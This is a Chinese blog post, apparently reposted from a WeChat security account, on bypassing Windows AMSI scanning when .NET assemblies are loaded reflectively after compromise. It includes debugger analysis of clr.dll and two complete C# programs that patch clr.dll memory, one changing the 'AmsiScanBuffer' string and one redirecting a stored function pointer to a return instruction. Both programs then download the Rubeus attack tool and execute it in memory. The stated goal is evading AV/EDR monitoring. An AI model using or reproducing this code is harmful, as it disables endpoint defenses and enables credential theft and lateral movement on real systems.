NET加载程序集的AMSI绕过

原创
02/07 17:14
阅读数 118

背景
在后渗透利用中会使用大量基于.net开发的工具,比如Rubeus SharpKatz(mimikatz的C#版本)SharpView(Powerview的C#版本)等工具,由于这些工具是开源并且非常知名的工具,会受到AV/EDR的严格监控。想要在AV/EDR的监控下执行这些操作,首先需要绕过工具静态特征的匹配。AV/EDR目前主要通过监控CLR ETW AMSI来检测这些工具的使用。在本次分享中我们主要针对AMSI进行绕过,想要完整的绕过AV/EDR的监控还需要更多的努力。比如针对工具进行源代码级别的混淆,对CLR.dll进行Unhook(取消监控),对ETW进行补丁等等。

第一种方法
取消勾选32位的代码,默认会使用64位代码。 image.png
这是一段利用C#的反射在内存中加载恶意的.net程序。在Assembly.Load的时候会触发AMSI调用杀毒软件对加载的程序进行扫描。

image.png


使用x64dbg下断点分析

image.png


image.png


查看调用堆栈,可以发现clr.dll通过AmsiScan调用amsi.dll的AmsiScanbuffer对我们加载的程序集进行扫描。

image.png


注意:由于clr.dll的AmsiScan不是导出函,所以该函数需要下载符号文件才可以在x64dbg中看到。

image.png


使用ida对clr.dll的AmsiScan进行分析
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll
如何绕过?
由于第36行AmsiScan会调用GetProcAddress获取amsi.dll的AmsiScanBuffer函数。
调用方式:GetProcAddress(amsi.dll的基地址,"AmsiScanBuffer");
如果我们能够使GetProcAddress获取不到AmsiScanBuffer则可以绕过Amsi的查杀。
在windows x64的代码中如果要调用函数,需要准备这个调用约定将参数放入指定的寄存器和栈中。
https://learn.microsoft.com/zh-cn/cpp/build/x64-calling-convention?view=msvc-170

image.png


使用x64dbg在AmsiScan下一个断点,需要下载符号文件才可以看到一样的代码。

image.png


这段汇编代码是调用GetProcAddressStub。第一个参数是放在rcx,第二个参数是放在rdx中。再次强调要想成功获取amsi.dll的AmsiScanBuffer函数,第一个参数一定要是amsi.dll在内存中的地址(基地址)。第二个参数一定要是一个指针,这个指针指向字符串 "AmsiScanBuffer"。
调用完成GetProcAddress以后,如果GetProcAddress成功获取到了AmsiScanBuffer函数则RAX(这是一个调用约定,返回值一定是放在RAX中。)存放着AmsiScanBuffer的返回值,如果获取不到则返回0。

image.png


我们先修改RAX的值然后观察程序能否正确运行

image.png


修改完成RAX的值为0以后即可绕过AMSI。只有当GetProcAddress获取不到想要的函数才会返回0,所以我们只需要想办法让GetProcAddress获取不到函数即可。让我们尝试修改AmsiScanBuffer这个字符串。

image.png


在lea rdx,qword ptr ds:[<"AmsiScanBuffer"...>]下断点,然后重新运行程序。当断点断下,右键在内存窗口中转到常数,然后我们可以看到AmsiScanBuffer这个字符串,修改为BmsiScanBuffer,然后继续单步执行。

image.png


继续执行可以发现GetProcAddress的返回值为0了,我们绕过了AMSI的检测。

image.png



选择AmsiScanBuffer然后在内存布局中转到可以发现该字符串位于.rdata段中。

image.png


这个段只有读的权限,如果我们要修改需要一个写入权限。所以我们需要调用WINAPI修改他的属性。

image.png

实现

[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);[DllImport("kernel32.dll")]static extern bool VirtualProtect(IntPtr lpAddress,uint dwSize, uint flNewProtect, out uint lpflOldProtect);static void Patch() {    var clraddr = GetModuleHandle("clr.dll");    IntPtr patchaddr = IntPtr.Zero;    var egg = Encoding.ASCII.GetBytes("AmsiScanBuffer");    var temp = new byte[egg.Length];    Console.WriteLine(egg.Length);    Console.WriteLine(clraddr.ToString("X"));    var count = 0;    while (true) {
Marshal.Copy(clraddr+count, temp,0,egg.Length); if (egg.SequenceEqual(temp)) { patchaddr = clraddr + count; break; } count++; }
if (patchaddr != IntPtr.Zero) { Console.WriteLine(patchaddr.ToString("X")); uint oldProtect; VirtualProtect(patchaddr,1, 0x04,out oldProtect); byte[] patchbyte = new byte[1] { 0x42 }; Marshal.Copy(patchbyte, 0,patchaddr,1); VirtualProtect(patchaddr, 1, oldProtect, out oldProtect); }}


1 调用GetModuleHandle获取clr.dll的基地址。
2 调用 Marshal.Copy 读取内存比对数据是否等于AmsiScanBuffer字符串,如果是则保存数据的地址并跳出循环。
3 调用VirtualProtect修改AmsiScanBuffer的内存属性,只修改开头第一个字符串的内存属性。然后调用Marshal.Copy复制0x42修改A为B,最终字符串为 "BmsiScanBuffer"。
4 再次调用VirtualProtect还原内存属性。
using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Net;using System.Reflection;using System.Runtime.InteropServices;using System.Text;using System.Threading.Tasks;
namespace clramsipatch{ internal class Program { [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName); [DllImport("kernel32.dll")] static extern bool VirtualProtect(IntPtr lpAddress,uint dwSize, uint flNewProtect, out uint lpflOldProtect); static void Main(string[] args) { Patch(); WebClient webClient = new WebClient(); var data = webClient.DownloadData("https://github.com/Flangvik/SharpCollection/raw/refs/heads/master/NetFramework_4.7_Any/Rubeus.exe"); var asm = Assembly.Load(data); asm.EntryPoint.Invoke(null, new object[] { new[] { "" } }); Console.ReadKey(); } static void Patch() { var clraddr = GetModuleHandle("clr.dll"); IntPtr patchaddr = IntPtr.Zero; var egg = Encoding.ASCII.GetBytes("AmsiScanBuffer"); var temp = new byte[egg.Length]; Console.WriteLine(egg.Length); Console.WriteLine(clraddr.ToString("X")); var count = 0; while (true) { Marshal.Copy(clraddr+count, temp,0,egg.Length); if (egg.SequenceEqual(temp)) { patchaddr = clraddr + count; break; } count++; }
if (patchaddr != IntPtr.Zero) { Console.WriteLine(patchaddr.ToString("X")); uint oldProtect; VirtualProtect(patchaddr,1, 0x04,out oldProtect); Marshal.Copy(new byte[] { 0x42 }, 0,patchaddr,1); VirtualProtect(patchaddr, 1, oldProtect, out oldProtect); } }
}}


第二种方法

clr在调用GetProcAddress以后会将返回结果保存到一个.data段的地址。 后续程序会调用这个值,所以这个值必须是一个有效的值。 这种方式的优点是理论上不需要调用任何WINAPI,非常隐蔽。

image.png

代码实现 如何寻找这个位于data段的变量? 两次加载,因为之前没有调用过Assembly.Load所以AmsiScan会进行初始化。 一旦初始化完成以后,我们只需要在clr.dll寻找一个指向amsi.dll!AmsiScanBuffer而且是小段的值。

using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Net;using System.Reflection;using System.Runtime.InteropServices;using System.Text;using System.Threading.Tasks;
namespace clramsipatch{ internal class Program { [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); static void Main(string[] args) {
WebClient webClient = new WebClient(); var data = File.ReadAllBytes("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddInProcess.exe"); var asm = Assembly.Load(data); Patch(); data = webClient.DownloadData("https://github.com/Flangvik/SharpCollection/raw/refs/heads/master/NetFramework_4.7_Any/Rubeus.exe"); asm = Assembly.Load(data); asm.EntryPoint.Invoke(null, new object[] { new[] { "" } }); Console.ReadKey(); } static void Patch() { var clraddr = GetModuleHandle("clr.dll"); var amsiaddr = GetModuleHandle("amsi.dll"); var amsiscanbuffer = GetProcAddress(amsiaddr,"AmsiScanBuffer"); var egg = BitConverter.GetBytes(amsiscanbuffer.ToInt64()); IntPtr patchaddr = IntPtr.Zero; var temp = new byte[egg.Length]; Console.WriteLine(egg.Length); Console.WriteLine(clraddr.ToString("X")); var count = 0; while (true) { Marshal.Copy(clraddr + count, temp, 0, egg.Length); if (egg.SequenceEqual(temp)) { patchaddr = clraddr + count; break; } count++; }
if (patchaddr != IntPtr.Zero) { Console.WriteLine(patchaddr.ToString("X")); count = 0; while (true) {
if (0xc3 == Marshal.ReadByte(amsiscanbuffer + count, 0)) { Marshal.Copy(BitConverter.GetBytes((amsiscanbuffer + count).ToInt64()), 0, patchaddr, egg.Length); break; } count++; } } }
}}

相关代码:https://github.com/ro0kie3/clramsipatch

本文分享自微信公众号 - 黑白天实验室(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

展开阅读全文
加载中
点击引领话题📣 发布并加入讨论🔥
0 评论
0 收藏
0
分享
返回顶部
顶部